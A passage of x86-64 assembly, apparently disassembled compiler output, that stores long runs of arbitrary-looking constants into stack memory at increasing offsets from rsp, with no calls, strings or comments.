mov byte [rsp + 0x241], 0x65
mov dword [rsp + 0x50bc], 0x101e
movabs rax, 0x70cb4d81fee44c
mov qword [rsp + 0xa2f8], rax
mov byte [rsp + 0x242], 0x3d
mov dword [rsp + 0x50c0], 0xa6c
mov dword [rsp + 0x50c4], 0x7bf8
mov eax, 0x425
mov word [rsp + 0x1500], ax
mov eax, 0x64b
mov word [rsp + 0x1504], ax
mov dword [rsp + 0x50c8], 0x2006
movabs rax, 0x7cc82f0831be2e
mov qword [rsp + 0xa300], rax
mov byte [rsp + 0x243], 0x7a
mov dword [rsp + 0x50cc], 0xe7d5
movabs rax, 0x70b2064515558a
mov qword [rsp + 0xa308], rax
mov eax, 0xbae
mov word [rsp + 0x1508], ax
mov eax, 0x98c
mov word [rsp + 0x150c], ax
mov byte [rsp + 0x244], 0x6c
movabs rax, 0x75aa9994c63507
mov qword [rsp + 0xa310], rax
movabs rax, 0x7359289721c256
mov qword [rsp + 0xa318], rax
mov byte [rsp + 0x245], 0x60
mov eax, 0x12f
mov word [rsp + 0x1510], ax
mov byte [rsp + 0x246], 0xf0
mov dword [rsp + 0x50d0], 0x30fe
movabs rax, 0x741150b644b760
mov qword [rsp + 0xa320], rax
mov byte [rsp + 0x247], 0x36
movabs rax, 0x73d65788a8dc27
mov qword [rsp + 0xa328], rax
mov dword [rsp + 0x50d4], 0x84ec
movabs rax, 0x73e2bfe4b35625
mov qword [rsp + 0xa330], rax
mov dword [rsp + 0x50d8], 0x2618
movabs rax, 0x7c66d3b7072d83
mov qword [rsp + 0xa338], rax
mov eax, 0x57a
mov word [rsp + 0x1514], ax
mov dword [rsp + 0x50dc], 0x5ebf
mov byte [rsp + 0x248], 0xfe
movabs rax, 0x77db5aa75ac2cc
mov qword [rsp + 0xa340], rax
movabs rax, 0x738dc14cc29443
mov qword [rsp + 0xa348], rax
movabs rax, 0x7b29153952ff86
mov qword [rsp + 0xa350], rax
mov byte [rsp + 0x249], 0xea
movabs rax, 0x7a0aeb5a644689
mov qword [rsp + 0xa358], rax
movabs rax, 0x71b963874c7eea
mov qword [rsp + 0xa360], rax
mov byte [rsp + 0x24a], 0xe
mov dword [rsp + 0x50e0], 0x541e
mov byte [rsp + 0x24b], 0x4e
movabs rax, 0x7d5ce759d5da39
mov qword [rsp + 0xa368], rax
mov byte [rsp + 0x24c], 0x3c
mov byte [rsp + 0x24d], 0xa0
mov eax, 0x13d
mov word [rsp + 0x1518], ax
mov byte [rsp + 0x24e], 0x5a
mov eax, 0x4a0
mov word [rsp + 0x151c], ax
mov byte [rsp + 0x24f], 0x22
movabs rax, 0x713dcfb4547ad4
mov qword [rsp + 0xa370], rax
mov eax, 0x60d
mov word [rsp + 0x1520], ax
mov eax, 0x2f8
mov word [rsp + 0x1524], ax
mov eax, 0x14b
mov word [rsp + 0x1528], ax
mov byte [rsp + 0x250], 0x33
mov eax, 0x66a
mov word [rsp + 0x152c], ax
mov dword [rsp + 0x50e4], 0x3e59
mov dword [rsp + 0x50e8], 0x57e3
mov byte [rsp + 0x251], 0x12
mov byte [rsp + 0x252], 0x82
movabs rax, 0x7c458d51940216
mov qword [rsp + 0xa378], rax
mov eax, 0x67c
mov word [rsp + 0x1530], ax
mov dword [rsp + 0x50ec], 0xb2b7
movabs rax, 0x79d095203420cd
mov qword [rsp + 0xa380], rax
mov eax, 0x704
mov word [rsp + 0x1534], ax
movabs rax, 0x78161158898f1b
mov qword [rsp + 0xa388], rax
movabs rax, 0x7430f9ff5095af
mov qword [rsp + 0xa390], rax
mov byte [rsp + 0x253], 0x50
mov dword [rsp + 0x50f0], 0x7f4b
movabs rax, 0x7aa32e99a205b3
mov qword [rsp + 0xa398], rax
mov byte [rsp + 0x254], 0x46
mov dword [rsp + 0x50f4], 0x2237
mov eax, 0x3a1
mov word [rsp + 0x1538], ax
mov byte [rsp + 0x255], 0xdd
mov eax, 0x17e
mov word [rsp + 0x153c], ax
mov eax, 0x7e1
mov word [rsp + 0x1540], ax
mov eax, 0x729
mov word [rsp + 0x1544], ax
mov eax, 0xfe2
mov word [rsp + 0x1548], ax
mov byte [rsp + 0x256], 0x48
mov dword [rsp + 0x50f8], 0x6bd3
mov dword [rsp + 0x50fc], 0x3cf9
mov byte [rsp + 0x257], 0x6c
mov eax, 0x1a2
mov word [rsp + 0x154c], ax
movabs rax, 0x7037e927c5c3a0
mov qword [rsp + 0xa3a0], rax
mov eax, 0x6e2
mov word [rsp + 0x1550], ax
mov dword [rsp + 0x5100], 0xd663
mov dword [rsp + 0x5104], 0x7efc
mov eax, 0xa4f
mov word [rsp + 0x1554], ax
mov dword [rsp + 0x5108], 0x5fcb
movabs rax, 0x74749b8218858a
mov qword [rsp + 0xa3a8], rax
movabs rax, 0x7d19e8400af6c9
mov qword [rsp + 0xa3b0], rax
mov byte [rsp + 0x258], 6
mov dword [rsp + 0x510c], 0xc85d
movabs rax, 0x7495c3e91a8a62
mov qword [rsp + 0xa3b8], rax
movabs rax, 0x79bb2504719c1c
mov qword [rsp + 0xa3c0], rax
mov eax, 0x578
mov word [rsp + 0x1558], ax
movabs rax, 0x787c0ccc47944e
mov qword [rsp + 0xa3c8], rax
movabs rax, 0x7d2a1bede19eb8
mov qword [rsp + 0xa3d0], rax
mov dword [rsp + 0x5110], 0x6aba
mov dword [rsp + 0x5114], 0x3377
mov dword [rsp + 0x5118], 0x5f7b
movabs rax, 0x78ae8a820e8585
mov qword [rsp + 0xa3d8], rax
mov dword [rsp + 0x511c], 0x84eb
mov dword [rsp + 0x5120], 0xed25
mov eax, 0x8cf
mov word [rsp + 0x155c], ax
movabs rax, 0x7d5fa5b772ed09
mov qword [rsp + 0xa3e0], rax
mov dword [rsp + 0x5124], 0x41e9
movabs rax, 0x70eab8d6dc719d
mov qword [rsp + 0xa3e8], rax
mov eax, 0x141
mov word [rsp + 0x1560], ax
movabs rax, 0x78346b00b8b6f3
mov qword [rsp + 0xa3f0], rax
movabs rax, 0x750a15fb510963
mov qword [rsp + 0xa3f8], rax
movabs rax, 0x7ec2166d5e6c98
mov qword [rsp + 0xa400], rax
mov eax, 0x1e2
mov word [rsp + 0x1564], ax
mov dword [rsp + 0x5128], 0x5c49
mov dword [rsp + 0x512c], 0x2974
movabs rax, 0x7bb9fadee8137a
mov qword [rsp + 0xa408], rax
mov eax, 0x96
mov word [rsp + 0x1568], ax
mov eax, 0x7a5
mov word [rsp + 0x156c], ax
mov dword [rsp + 0x5130], 0x2c37
movabs rax, 0x71c9f298deb71a
mov qword [rsp + 0xa410], rax
mov dword [rsp + 0x5134], 0x109f
mov eax, 0x53f
mov word [rsp + 0x1570], ax
mov dword [rsp + 0x5138], 0x433a
mov byte [rsp + 0x259], 0x77
movabs rax, 0x74518a5ef8ce80
mov qword [rsp + 0xa418], rax
movabs rax, 0x74f42ab3628712
mov qword [rsp + 0xa420], rax
mov dword [rsp + 0x513c], 0x61d
mov eax, 0x72e
mov word [rsp + 0x1574], ax
mov byte [rsp + 0x25a], 0x29
mov eax, 0x67c
mov word [rsp + 0x1578], ax
mov byte [rsp + 0x25b], 0xd8
movabs rax, 0x71c4224b5fade8
mov qword [rsp + 0xa428], rax
mov dword [rsp + 0x5140], 0x53
mov eax, 0x367
mov word [rsp + 0x157c], ax
mov dword [rsp + 0x5144], 0x7d4
mov eax, 0x7cc
mov word [rsp + 0x1580], ax
movabs rax, 0x7048a833246d3e
mov qword [rsp + 0xa430], rax
mov byte [rsp + 0x25c], 4
movabs rax, 0x7454e4b76980e8
mov qword [rsp + 0xa438], rax
mov byte [rsp + 0x25d], 0x53
movabs rax, 0x754e803d5e062f
mov qword [rsp + 0xa440], rax
mov dword [rsp + 0x5148], 0x12a0
mov eax, 0x2de
mov word [rsp + 0x1584], ax
mov byte [rsp + 0x25e], 0xbf
mov eax, 0x786
mov word [rsp + 0x1588], ax
mov eax, 0x2f6
mov word [rsp + 0x158c], ax
movabs rax, 0x7b4fbacd9d4843
mov qword [rsp + 0xa448], rax
movabs rax, 0x777ed0c5ef033c
mov qword [rsp + 0xa450], rax
mov eax, 0xff
mov word [rsp + 0x1590], ax
movabs rax, 0x7c24ca678a4a86
mov qword [rsp + 0xa458], rax
mov byte [rsp + 0x25f], 0x3c
mov dword [rsp + 0x514c], 0x804
movabs rax, 0x72d7c9e4f90e7f
mov qword [rsp + 0xa460], rax
mov dword [rsp + 0x5150], 0xa9a6
mov byte [rsp + 0x260], 0x78
mov eax, 0x8ef
mov word [rsp + 0x1594], ax
movabs rax, 0x7294c13c6c5276
mov qword [rsp + 0xa468], rax
mov byte [rsp + 0x261], 0x8e
mov byte [rsp + 0x262], 0x41
movabs rax, 0x740593d4a49732
mov qword [rsp + 0xa470], rax
mov byte [rsp + 0x263], 0xda
movabs rax, 0x726d3b45638d68
mov qword [rsp + 0xa478], rax
movabs rax, 0x7a305f793f5466
mov qword [rsp + 0xa480], rax
mov eax, 0x804
mov word [rsp + 0x1598], ax
mov eax, 0x2fa
mov word [rsp + 0x159c], ax
mov dword [rsp + 0x5154], 0x7a74
mov eax, 0xf01
mov word [rsp + 0x15a0], ax
mov eax, 0x8d
mov word [rsp + 0x15a4], ax
movabs rax, 0x793a7b53cb9f01
mov qword [rsp + 0xa488], rax
mov eax, 0x56c
mov word [rsp + 0x15a8], ax
mov byte [rsp + 0x264], 0x7f
movabs rax, 0x7c71d248772fd5
mov qword [rsp + 0xa490], rax
mov byte [rsp + 0x265], 0x8e
mov dword [rsp + 0x5158], 0x45d0
mov eax, 0xdef
mov word [rsp + 0x15ac], ax
movabs rax, 0x751ea3a4023d73
mov qword [rsp + 0xa498], rax
mov eax, 0x963
mov word [rsp + 0x15b0], ax
mov dword [rsp + 0x515c], 0x930
movabs rax, 0x75145aa6601915
mov qword [rsp + 0xa4a0], rax
mov dword [rsp + 0x5160], 0x3fd0
mov eax, 0xea8
mov word [rsp + 0x15b4], ax
mov dword [rsp + 0x5164], 0xaef3
mov eax, 0x340
mov word [rsp + 0x15b8], ax
mov dword [rsp + 0x5168], 0x76d3
mov dword [rsp + 0x516c], 0x14fc
mov byte [rsp + 0x266], 0xa6
mov eax, 0x3ae
mov word [rsp + 0x15bc], ax
movabs rax, 0x7b4296824c9615
mov qword [rsp + 0xa4a8], rax
mov eax, 0x139
mov word [rsp + 0x15c0], ax
mov dword [rsp + 0x5170], 0xa727
mov byte [rsp + 0x267], 0xec
mov byte [rsp + 0x268], 0x9f
mov eax, 0x2f5
mov word [rsp + 0x15c4], ax
mov eax, 0xd75
mov word [rsp + 0x15c8], ax
movabs rax, 0x742bb85f271d59
mov qword [rsp + 0xa4b0], rax
mov dword [rsp + 0x5174], 0xe253
movabs rax, 0x79be88c56927a1
mov qword [rsp + 0xa4b8], rax
mov eax, 0xbbc
mov word [rsp + 0x15cc], ax
mov byte [rsp + 0x269], 0x8f
mov dword [rsp + 0x5178], 0x3153
mov eax, 0x1f4
mov word [rsp + 0x15d0], ax
mov dword [rsp + 0x517c], 0x15b6
movabs rax, 0x74d515eee4562f
mov qword [rsp + 0xa4c0], rax
mov byte [rsp + 0x26a], 0xcc
mov eax, 0x135
mov word [rsp + 0x15d4], ax
mov dword [rsp + 0x5180], 0x662c
movabs rax, 0x7728383e4d9838
mov qword [rsp + 0xa4c8], rax
movabs rax, 0x74c1413d43a00c
mov qword [rsp + 0xa4d0], rax
mov eax, 0x6e7
mov word [rsp + 0x15d8], ax
mov eax, 0x824
mov word [rsp + 0x15dc], ax
mov eax, 0x525
mov word [rsp + 0x15e0], ax
movabs rax, 0x7bff801cfb939a
mov qword [rsp + 0xa4d8], rax
mov byte [rsp + 0x26b], 0x1e
movabs rax, 0x7583b2ea707f3d
mov qword [rsp + 0xa4e0], rax
mov eax, 0x7a
mov word [rsp + 0x15e4], ax
mov eax, 0x47
mov word [rsp + 0x15e8], ax
movabs rax, 0x7abfef53c5d1e7
mov qword [rsp + 0xa4e8], rax
movabs rax, 0x7bccadd95d0d0d
mov qword [rsp + 0xa4f0], rax
mov byte [rsp + 0x26c], 0x8b
mov dword [rsp + 0x5184], 0x540b
movabs rax, 0x73873c8ac660eb
mov qword [rsp + 0xa4f8], rax
mov byte [rsp + 0x26d], 0x80
mov eax, 0xbcb
mov word [rsp + 0x15ec], ax
mov byte [rsp + 0x26e], 0x6e
mov dword [rsp + 0x5188], 0xe46d
mov dword [rsp + 0x518c], 0x380d
movabs rax, 0x7ac308791947a4
mov qword [rsp + 0xa500], rax
movabs rax, 0x769447e98a8053
mov qword [rsp + 0xa508], rax
movabs rax, 0x709df90843d12b
mov qword [rsp + 0xa510], rax
movabs rax, 0x735ff40d34a7fe
mov qword [rsp + 0xa518], rax
mov byte [rsp + 0x26f], 0x69
mov byte [rsp + 0x270], 0x23
mov eax, 0x6ac
mov word [rsp + 0x15f0], ax
movabs rax, 0x70563e22bcfd0d
mov qword [rsp + 0xa520], rax
mov eax, 7
mov word [rsp + 0x15f4], ax
movabs rax, 0x7a1bfeaf88f61f
mov qword [rsp + 0xa528], rax
mov eax, 0x232
mov word [rsp + 0x15f8], ax
mov byte [rsp + 0x271], 0x5f
mov eax, 0x3f9
mov word [rsp + 0x15fc], ax
mov eax, 0x187
mov word [rsp + 0x1600], ax
movabs rax, 0x7e444607c07d2f
mov qword [rsp + 0xa530], rax
mov dword [rsp + 0x5190], 0x322b
mov eax, 0x6a4
mov word [rsp + 0x1604], ax
mov byte [rsp + 0x272], 0x3f
mov dword [rsp + 0x5194], 0x3fcc
movabs rax, 0x7db467788f4ec4
mov qword [rsp + 0xa538], rax
mov dword [rsp + 0x5198], 0x4128
mov byte [rsp + 0x273], 0x65
mov eax, 0x588
mov word [rsp + 0x1608], ax
mov eax, 0x5c7
mov word [rsp + 0x160c], ax
movabs rax, 0x71ddc786f52fd0
mov qword [rsp + 0xa540], rax
mov eax, 0x427
mov word [rsp + 0x1610], ax
mov dword [rsp + 0x519c], 0x2395
movabs rax, 0x7006862f68ba96
mov qword [rsp + 0xa548], rax
movabs rax, 0x7d38b1bec79a68
mov qword [rsp + 0xa550], rax
mov dword [rsp + 0x51a0], 0x1276
mov byte [rsp + 0x274], 3
mov dword [rsp + 0x51a4], 0xde0
mov eax, 0x1de
mov word [rsp + 0x1614], ax
mov byte [rsp + 0x275], 0xfe
mov dword [rsp + 0x51a8], 0x6c1b
mov byte [rsp + 0x276], 0x30
mov eax, 0x28a
mov word [rsp + 0x1618], ax
mov eax, 0x1db
mov word [rsp + 0x161c], ax
mov dword [rsp + 0x51ac], 0x9adc
mov eax, 0x655
mov word [rsp + 0x1620], ax
mov eax, 0x105
mov word [rsp + 0x1624], ax
movabs rax, 0x72fe342d25ff24
mov qword [rsp + 0xa558], rax
mov dword [rsp + 0x51b0], 0x33b9
mov byte [rsp + 0x277], 4
movabs rax, 0x7ba89971d2dd55
mov qword [rsp + 0xa560], rax
mov eax, 0x6b0
mov word [rsp + 0x1628], ax
mov byte [rsp + 0x278], 0x80
mov dword [rsp + 0x51b4], 0x13cf
mov eax, 0x121
mov word [rsp + 0x162c], ax
mov eax, 0x5e6
mov word [rsp + 0x1630], ax
movabs rax, 0x75bd52051febe5
mov qword [rsp + 0xa568], rax
mov dword [rsp + 0x51b8], 0x2203
mov byte [rsp + 0x279], 0x3a
mov dword [rsp + 0x51bc], 0x7d38
mov dword [rsp + 0x51c0], 0x625a
mov byte [rsp + 0x27a], 0xa
movabs rax, 0x7e4854544b2fe7
mov qword [rsp + 0xa570], rax
movabs rax, 0x7ce641e899f967
mov qword [rsp + 0xa578], rax
mov dword [rsp + 0x51c4], 0x658e
mov eax, 0x1f3
mov word [rsp + 0x1634], ax
movabs rax, 0x7cc7f4a47984fd
mov qword [rsp + 0xa580], rax
mov eax, 0xd7a
mov word [rsp + 0x1638], ax
movabs rax, 0x716838d6cfc1d8
mov qword [rsp + 0xa588], rax
movabs rax, 0x78bafee41a15d1
mov qword [rsp + 0xa590], rax
mov byte [rsp + 0x27b], 0xad
mov byte [rsp + 0x27c], 0x42
mov eax, 0xc5a
mov word [rsp + 0x163c], ax
mov dword [rsp + 0x51c8], 0xd904
movabs rax, 0x70da7c1ad20c09
mov qword [rsp + 0xa598], rax
mov byte [rsp + 0x27d], 0x9a
mov dword [rsp + 0x51cc], 0x79fb
mov eax, 0x776
mov word [rsp + 0x1640], ax
mov byte [rsp + 0x27e], 0x10
mov byte [rsp + 0x27f], 5
movabs rax, 0x77c739f6458326
mov qword [rsp + 0xa5a0], rax
mov byte [rsp + 0x280], 0x4c
mov dword [rsp + 0x51d0], 0x2919
movabs rax, 0x7a7ca28db90519
mov qword [rsp + 0xa5a8], rax
movabs rax, 0x7454fd984991ab
mov qword [rsp + 0xa5b0], rax
mov eax, 0x3fb
mov word [rsp + 0x1644], ax
mov byte [rsp + 0x281], 0x12
mov dword [rsp + 0x51d4], 0xd6fb
mov eax, 0x3fd
mov word [rsp + 0x1648], ax
mov dword [rsp + 0x51d8], 0x9f11
mov dword [rsp + 0x51dc], 0x1268
mov dword [rsp + 0x51e0], 0x2ddc
movabs rax, 0x7c835d1abac066
mov qword [rsp + 0xa5b8], rax
mov byte [rsp + 0x282], 0xb7
movabs rax, 0x73c59bc2d90367
mov qword [rsp + 0xa5c0], rax
movabs rax, 0x74e25feb7788c8
mov qword [rsp + 0xa5c8], rax
movabs rax, 0x7d66a0bedd007a
mov qword [rsp + 0xa5d0], rax
mov eax, 0x5df
mov word [rsp + 0x164c], ax
mov byte [rsp + 0x283], 0x4d
mov dword [rsp + 0x51e4], 0x1a34
mov byte [rsp + 0x284], 0x28
movabs rax, 0x7b1cfd6883eede
mov qword [rsp + 0xa5d8], rax
mov eax, 0xc5a
mov word [rsp + 0x1650], ax
mov dword [rsp + 0x51e8], 0xb276
movabs rax, 0x78fe555d434fc7
mov qword [rsp + 0xa5e0], rax
movabs rax, 0x768b2b8d0572e3
mov qword [rsp + 0xa5e8], rax
movabs rax, 0x73051b10e713db
mov qword [rsp + 0xa5f0], rax
mov byte [rsp + 0x285], 0x2a
mov dword [rsp + 0x51ec], 0x3e14
mov eax, 0x445
mov word [rsp + 0x1654], ax
movabs rax, 0x76a76dc074a821
mov qword [rsp + 0xa5f8], rax
mov eax, 0xd3
mov word [rsp + 0x1658], ax
mov eax, 0x3cc
mov word [rsp + 0x165c], ax
mov byte [rsp + 0x286], 0x2c
mov dword [rsp + 0x51f0], 0x69a6
mov eax, 0x54
mov word [rsp + 0x1660], ax
mov byte [rsp + 0x287], 0x7b
mov dword [rsp + 0x51f4], 0x5ebb
mov byte [rsp + 0x288], 0xdd
mov dword [rsp + 0x51f8], 0x3eaa
mov byte [rsp + 0x289], 0xdc
mov eax, 0x420
mov word [rsp + 0x1664], ax
mov byte [rsp + 0x28a], 0x20
mov eax, 0x9f
mov word [rsp + 0x1668], ax
mov dword [rsp + 0x51fc], 0x5964
mov eax, 0xfb5
mov word [rsp + 0x166c], ax
mov eax, 0x663
mov word [rsp + 0x1670], ax
mov dword [rsp + 0x5200], 0x2ec
movabs rax, 0x77004cb72e76ea
mov qword [rsp + 0xa600], rax
movabs rax, 0x7eb6122cbaf7a6
mov qword [rsp + 0xa608], rax
mov dword [rsp + 0x5204], 0x787e
mov eax, 0x3a2
mov word [rsp + 0x1674], ax
mov eax, 0x455
mov word [rsp + 0x1678], ax
mov eax, 0x17b
mov word [rsp + 0x167c], ax
mov eax, 0xbf8
mov word [rsp + 0x1680], ax
mov dword [rsp + 0x5208], 0x757e
mov byte [rsp + 0x28b], 0x56
mov byte [rsp + 0x28c], 0xb8
movabs rax, 0x742bb031783fcc
mov qword [rsp + 0xa610], rax
mov byte [rsp + 0x28d], 0x44
movabs rax, 0x76d6aae58cd0ee
mov qword [rsp + 0xa618], rax
movabs rax, 0x745adf16aea991
mov qword [rsp + 0xa620], rax
mov eax, 0x701
mov word [rsp + 0x1684], ax
mov dword [rsp + 0x520c], 0x5f79
movabs rax, 0x7238dc614a00e0
mov qword [rsp + 0xa628], rax
movabs rax, 0x74ee8f1602718d
mov qword [rsp + 0xa630], rax
mov eax, 0x79
mov word [rsp + 0x1688], ax
mov dword [rsp + 0x5210], 0xf8f3
movabs rax, 0x7e8ef41b561aab
mov qword [rsp + 0xa638], rax
movabs rax, 0x7d4d86160b4b10
mov qword [rsp + 0xa640], rax
movabs rax, 0x715eba63e0316e
mov qword [rsp + 0xa648], rax
movabs rax, 0x7aef3697ea1674
mov qword [rsp + 0xa650], rax
mov dword [rsp + 0x5214], 0x610a
movabs rax, 0x72d2c8ea11f908
mov qword [rsp + 0xa658], rax
mov byte [rsp + 0x28e], 0x90
mov eax, 0xc79
mov word [rsp + 0x168c], ax
mov eax, 0x92a
mov word [rsp + 0x1690], ax
movabs rax, 0x78325b3bcf4fa9
mov qword [rsp + 0xa660], rax
mov dword [rsp + 0x5218], 0x671e
mov eax, 0x1fb
mov word [rsp + 0x1694], ax
movabs rax, 0x745057de204308
mov qword [rsp + 0xa668], rax
mov byte [rsp + 0x28f], 0xb8
mov byte [rsp + 0x290], 0x72
movabs rax, 0x7868c0353f8d4b
mov qword [rsp + 0xa670], rax
mov dword [rsp + 0x521c], 0x336f
movabs rax, 0x7cc80365396022
mov qword [rsp + 0xa678], rax
mov eax, 0xd35
mov word [rsp + 0x1698], ax
movabs rax, 0x7b1dbdfde7f417
mov qword [rsp + 0xa680], rax
mov eax, 0x1ed
mov word [rsp + 0x169c], ax
mov dword [rsp + 0x5220], 0xc2fb
mov dword [rsp + 0x5224], 0x6d61
mov dword [rsp + 0x5228], 0x295
movabs rax, 0x712051d4edca47
mov qword [rsp + 0xa688], rax
mov eax, 0xa3d
mov word [rsp + 0x16a0], ax
mov eax, 0x23a
mov word [rsp + 0x16a4], ax
movabs rax, 0x78374ce43208d6
mov qword [rsp + 0xa690], rax
mov eax, 0x2ad
mov word [rsp + 0x16a8], ax
mov byte [rsp + 0x291], 0x33
mov dword [rsp + 0x522c], 0x4e07
mov dword [rsp + 0x5230], 0xeeb3
mov dword [rsp + 0x5234], 0x109f
movabs rax, 0x7d220eb65a8e89
mov qword [rsp + 0xa698], rax
movabs rax, 0x7583a421af1551
mov qword [rsp + 0xa6a0], rax
mov byte [rsp + 0x292], 0x7a
mov byte [rsp + 0x293], 0xe
mov eax, 0x270
mov word [rsp + 0x16ac], ax
mov byte [rsp + 0x294], 0
mov eax, 0x4b1
mov word [rsp + 0x16b0], ax
movabs rax, 0x7e544c1d4082c4
mov qword [rsp + 0xa6a8], rax
mov dword [rsp + 0x5238], 0x39e8
mov byte [rsp + 0x295], 0xd6
mov dword [rsp + 0x523c], 0xca47
mov eax, 0xae5
mov word [rsp + 0x16b4], ax
mov dword [rsp + 0x5240], 0xa73e
mov eax, 0x2cf
mov word [rsp + 0x16b8], ax
mov dword [rsp + 0x5244], 0x4086
mov eax, 0x23a
mov word [rsp + 0x16bc], ax
mov eax, 0x20e
mov word [rsp + 0x16c0], ax
movabs rax, 0x74914799168531
mov qword [rsp + 0xa6b0], rax
movabs rax, 0x7d4a3bf2322f3e
mov qword [rsp + 0xa6b8], rax
mov eax, 0x85
mov word [rsp + 0x16c4], ax
movabs rax, 0x72a4f069d2ae6f
mov qword [rsp + 0xa6c0], rax
movabs rax, 0x73de20571ad67c
mov qword [rsp + 0xa6c8], rax
movabs rax, 0x764f8b73cb66f4
mov qword [rsp + 0xa6d0], rax
mov eax, 0x400
mov word [rsp + 0x16c8], ax
movabs rax, 0x7e0755ab572daa
mov qword [rsp + 0xa6d8], rax
mov dword [rsp + 0x5248], 0x45bc
mov eax, 0x30b
mov word [rsp + 0x16cc], ax
mov dword [rsp + 0x524c], 0x1ad6
movabs rax, 0x701288a47643f7
mov qword [rsp + 0xa6e0], rax
mov dword [rsp + 0x5250], 0x8477
movabs rax, 0x7e54392b666435
mov qword [rsp + 0xa6e8], rax
movabs rax, 0x70fd19437033ce
mov qword [rsp + 0xa6f0], rax
movabs rax, 0x70b98bf48409e8
mov qword [rsp + 0xa6f8], rax
movabs rax, 0x71617c7e3e9a76
mov qword [rsp + 0xa700], rax
movabs rax, 0x741b03c5e9e2de
mov qword [rsp + 0xa708], rax
movabs rax, 0x7e925c14ec9ace
mov qword [rsp + 0xa710], rax
mov eax, 0x2cf
mov word [rsp + 0x16d0], ax
mov byte [rsp + 0x296], 0xea
mov eax, 0x32e
mov word [rsp + 0x16d4], ax
mov eax, 0x5d
mov word [rsp + 0x16d8], ax
mov eax, 0x5c4
mov word [rsp + 0x16dc], ax
mov eax, 0x5ce
mov word [rsp + 0x16e0], ax
movabs rax, 0x78c1c974cc3633
mov qword [rsp + 0xa718], rax
mov dword [rsp + 0x5254], 0xaf61
mov dword [rsp + 0x5258], 0x6251
mov eax, 0x44c
mov word [rsp + 0x16e4], ax
movabs rax, 0x72c240e3e4ee1a
mov qword [rsp + 0xa720], rax
mov byte [rsp + 0x297], 0xd6
mov dword [rsp + 0x525c], 0x313d
mov dword [rsp + 0x5260], 0x5cc2
movabs rax, 0x7d26571d7730b9
mov qword [rsp + 0xa728], rax
mov byte [rsp + 0x298], 0x7a
mov eax, 0xe7
mov word [rsp + 0x16e8], ax
mov eax, 0x7ee
mov word [rsp + 0x16ec], ax
movabs rax, 0x74492abd59501a
mov qword [rsp + 0xa730], rax
mov byte [rsp + 0x299], 2
mov eax, 0x7cf
mov word [rsp + 0x16f0], ax
movabs rax, 0x76f6896e2e5f00
mov qword [rsp + 0xa738], rax
mov eax, 0x48e
mov word [rsp + 0x16f4], ax
mov byte [rsp + 0x29a], 0x1b
mov byte [rsp + 0x29b], 0x5b
mov eax, 0x95d
mov word [rsp + 0x16f8], ax
mov byte [rsp + 0x29c], 0x1b
mov byte [rsp + 0x29d], 0x25
mov dword [rsp + 0x5264], 0x65c3
mov dword [rsp + 0x5268], 0x4963
movabs rax, 0x792422c0336698
mov qword [rsp + 0xa740], rax
mov dword [rsp + 0x526c], 0x448f
movabs rax, 0x7e436a0fc09021
mov qword [rsp + 0xa748], rax
mov eax, 0xf2a
mov word [rsp + 0x16fc], ax
mov eax, 0xdd
mov word [rsp + 0x1700], ax
mov eax, 0x392
mov word [rsp + 0x1704], ax
mov byte [rsp + 0x29e], 0x12
mov dword [rsp + 0x5270], 0x4297
mov byte [rsp + 0x29f], 0xce
movabs rax, 0x70ff9433a92954
mov qword [rsp + 0xa750], rax
movabs rax, 0x75f7052fc17875
mov qword [rsp + 0xa758], rax
mov eax, 0x6c
mov word [rsp + 0x1708], ax
mov dword [rsp + 0x5274], 0x9e9
movabs rax, 0x7483e8b40276cd
mov qword [rsp + 0xa760], rax
mov dword [rsp + 0x5278], 0x2497
movabs rax, 0x79ff9d096021ad
mov qword [rsp + 0xa768], rax
mov eax, 0xf4f
mov word [rsp + 0x170c], ax
mov byte [rsp + 0x2a0], 0x79
mov eax, 0x643
mov word [rsp + 0x1710], ax
mov eax, 0x201
mov word [rsp + 0x1714], ax
movabs rax, 0x76a6affa08a311
mov qword [rsp + 0xa770], rax
mov byte [rsp + 0x2a1], 0x67
mov eax, 0x426
mov word [rsp + 0x1718], ax
mov eax, 0xaf
mov word [rsp + 0x171c], ax
mov eax, 0x8a7
mov word [rsp + 0x1720], ax
mov dword [rsp + 0x527c], 0x24ab
mov eax, 0x512
mov word [rsp + 0x1724], ax
mov byte [rsp + 0x2a2], 0x27
mov dword [rsp + 0x5280], 0x3fcc
mov dword [rsp + 0x5284], 0xe69c
movabs rax, 0x7a5f682430d620
mov qword [rsp + 0xa778], rax
mov byte [rsp + 0x2a3], 0xbc
mov byte [rsp + 0x2a4], 0x36
mov dword [rsp + 0x5288], 0x492f
mov byte [rsp + 0x2a5], 0x71
mov byte [rsp + 0x2a6], 0xd7
mov eax, 0x7c5
mov word [rsp + 0x1728], ax
mov byte [rsp + 0x2a7], 0x49
mov dword [rsp + 0x528c], 0x666e
mov byte [rsp + 0x2a8], 0x63
movabs rax, 0x7dbc9c6d73d122
mov qword [rsp + 0xa780], rax
mov dword [rsp + 0x5290], 0x109f
mov dword [rsp + 0x5294], 0x1b4a
movabs rax, 0x7044e063a1ee4a
mov qword [rsp + 0xa788], rax
mov dword [rsp + 0x5298], 0x5a36
mov eax, 0x618
mov word [rsp + 0x172c], ax
mov byte [rsp + 0x2a9], 0x3a
movabs rax, 0x76e331d4f41d4e
mov qword [rsp + 0xa790], rax
movabs rax, 0x7d265f34f5c1be
mov qword [rsp + 0xa798], rax
mov byte [rsp + 0x2aa], 0xb
mov dword [rsp + 0x529c], 0xf333
mov dword [rsp + 0x52a0], 0x37af
mov byte [rsp + 0x2ab], 0x46
mov dword [rsp + 0x52a4], 0x660a
mov eax, 0xc1
mov word [rsp + 0x1730], ax
mov dword [rsp + 0x52a8], 0x42ff
movabs rax, 0x78593d6b4fbbd9
mov qword [rsp + 0xa7a0], rax
movabs rax, 0x73aa25cab80392
mov qword [rsp + 0xa7a8], rax
movabs rax, 0x7bd36077e189ae
mov qword [rsp + 0xa7b0], rax
mov eax, 0xd7
mov word [rsp + 0x1734], ax
mov eax, 0x88d
mov word [rsp + 0x1738], ax
movabs rax, 0x7e9576b9aa656a
mov qword [rsp + 0xa7b8], rax
movabs rax, 0x7ae4d53e4f100f
mov qword [rsp + 0xa7c0], rax
mov eax, 0x8af
mov word [rsp + 0x173c], ax
movabs rax, 0x7b5f25f54fb796
mov qword [rsp + 0xa7c8], rax
mov dword [rsp + 0x52ac], 0x955
mov byte [rsp + 0x2ac], 0xda
movabs rax, 0x7428071373a136
mov qword [rsp + 0xa7d0], rax
movabs rax, 0x74d49c6ddde39b
mov qword [rsp + 0xa7d8], rax
mov byte [rsp + 0x2ad], 0xc9
movabs rax, 0x74c00d03f65f4f
mov qword [rsp + 0xa7e0], rax
mov eax, 0x6e
